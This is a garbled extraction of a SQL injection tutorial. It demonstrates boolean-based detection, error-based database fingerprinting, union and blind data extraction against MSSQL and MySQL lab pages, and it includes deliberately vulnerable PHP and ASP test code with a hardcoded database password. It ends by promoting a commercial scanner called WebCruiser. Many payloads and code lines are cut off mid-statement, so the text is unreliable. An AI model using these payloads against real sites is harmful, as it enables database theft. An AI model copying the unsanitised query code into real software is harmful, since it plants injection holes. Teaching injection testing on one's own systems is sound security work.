SQL Injection Tutorial
SQL Injection Tutorial
4 References ............................................................................................................................... 21
SQL injection is a code injection technique that exploits a security vulnerability occurring
The vulnerability is present when user input is either incorrectly filtered for string literal
escape characters embedded in SQL statements or user input is not strongly typed and
that can occur whenever one programming or scripting language is embedded inside
another. SQL Injection is one of the most common application layer attack techniques
used today.
If you have no pages with SQL Injection vulnerability for test, please built one of your own
Example 1: http://192.168.254.21:79/sql.asp?uid=1
Example 2: http://192.168.254.21/mysql.php?username=bob
Example 1:
http://192.168.254.21:79/sql.asp?uid=1
SQL Injection Tutorial
(2) Add true condition (1=1) and named Response1 for the result:
(3) Add false condition (1=2) and named Response2 for the result:
Usually, if
Response1=Response0
Example 2:
SQL Injection Tutorial
Response0:
http://192.168.254.21/mysql.php?username=bob
Response1:
Response1 is not equal to Response0, notice that bob is a string, not an integer, so try:
Response1:
Response2:
Response1=Response0
In some cases, even the parameter is an integer, it need a single quote to match the SQL
sentence.
SQL Injection Keyword is a word or phrase that only occurred in Response1 but not
occurred in Response2. SQL Injection Keyword used by SQL Injection Scanners, for
In the following SQL Injection process, if Response1 include the keyword but Response2
Sometimes, you can simply get the database type by add a single quote to produce an
error:
http://192.168.254.21:79/sql.asp?uid=1'
http://192.168.254.21/mysql.php?username=bob'
But usually, you need use database specified syntax to get the type, it becomes complex.
Try:
There are many methods to getting data in SQL Injection, but not all these methods are
Plain text error (To produce an error and get information from the error message);
Union replace (Using null union select column from table to replace the response);
Blind SQL Injection (Using ASCII comparison when no error message response);
Time delay (To produce time-consuming SQL sentence and get information from
In example 1, response of
include the database name “test”, so you can get data by plain text error.
In example 2, response of
char(65,65,65),1%23
Example 1:
http://192.168.254.21:79/sql.asp?uid=1 and
[master]..[sysdatabases]) as varchar(8))))>0
Get each database name: master, tempdb, etc. by changing the value of dbid.
http://192.168.254.21:79/sql.asp?uid=1 and
where dbid=1))>0
http://192.168.254.21:79/sql.asp?uid=1 and
where dbid=2))>0
Example 2:
SQL Injection Tutorial
database(),1 %23
Example 1:
http://192.168.254.21:79/sql.asp?uid=1 and
Example 2:
char)),1 %23
Example 1,
http://192.168.254.21:79/sql.asp?uid=1 and
ordinal_position=1)>0
ordinal_position=2)>0
Example 2:
Example 1,
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([uid] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([des] as nvarchar(4000)),char(32))
[username] desc)>0
SQL Injection Tutorial
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([uid] as
nvarchar(4000)),char(32))%2Bchar(94)%2Bisnull(cast([des] as nvarchar(4000)),char(32))
[username] desc)>0
Example 2:
concat_ws(char(94),ifnull(cast(`user` as char),char(32)),ifnull(cast(`des` as
This SQL Injection Tutorial describes how to use SQL Injection manually, but it is inefficient step
by step. An automatic SQL Injection Scanner and SQL Injection Tool are preferred. WebCruiser
Web Vulnerability Scanner is such an effective penetration testing tool for you.
SQL Injection Tutorial
testing tool that will aid you in auditing your website! It has a Vulnerability Scanner and a
series of security tools include SQL Injection Tool, Cross Site Scripting Tool, XPath
WebCruiser can support scanning website as well as POC (Proof of concept) for web
vulnerabilities: SQL Injection, Cross Site Scripting, XPath Injection etc. So, WebCruiser is
also an automatic SQL injection tool, an XPath injection tool, and a Cross Site Scripting
tool!
Key Features:
* Vulnerability Scanner: SQL Injection, Cross Site Scripting, XPath Injection etc.;
* Report Output.
environment simply.
Create database `test` and table `t1` and add records, here is the description:
SQL Injection Tutorial
<?php
$username=$_GET['username'];
if($username)
mysql_select_db("test");
//echo "SQL=".$SQL."<br>";
$row=mysql_fetch_array($result);
if($row['user'])
echo "Username:".$row['user']."<br>";
echo "Description:".$row['des']."<br>";
echo "TestOK!<br>";
mysql_free_result($result);
mysql_close();
?>
http://192.168.254.21/mysql.php?username=bob
Create sql.asp:
Id=sa;Password=123456;" );
rs = Server.CreateObject("ADODB.RecordSet");
uid= Request.Querystring("uid");
charset=gb2312\" /><title>Test</title></head>");
if(rs.RecordCount < 1)
Response.write("<p>No Record!</p>");
else
{
SQL Injection Tutorial
Response.write("<tr><td><b>uid</b></td><td><b>username</b></td><td><b>Description</b></td>");
if(!rs.Eof)
Response.write("<tr>");
Response.write("<td><span style='font-size:9t'>"+rs("uid")+"</span></td>");
Response.write("<td><span
style='font-size:9t'>"+rs("username")+"</span></td>");
Response.write("<td><span style='font-size:9t'>"+rs("des")+"</span></td>");
Response.write("</tr>");
rs.MoveNext();
Response.write("</html>");
rs.close();
dbConn.close();
</script>
Navigate http://192.168.254.21:79/sql.asp?uid=1
SQL Injection Tutorial
4 References
http://sec4app.com/download/WebCruiserUserGuide.pdf
4. WebCruiser, http://sec4app.com/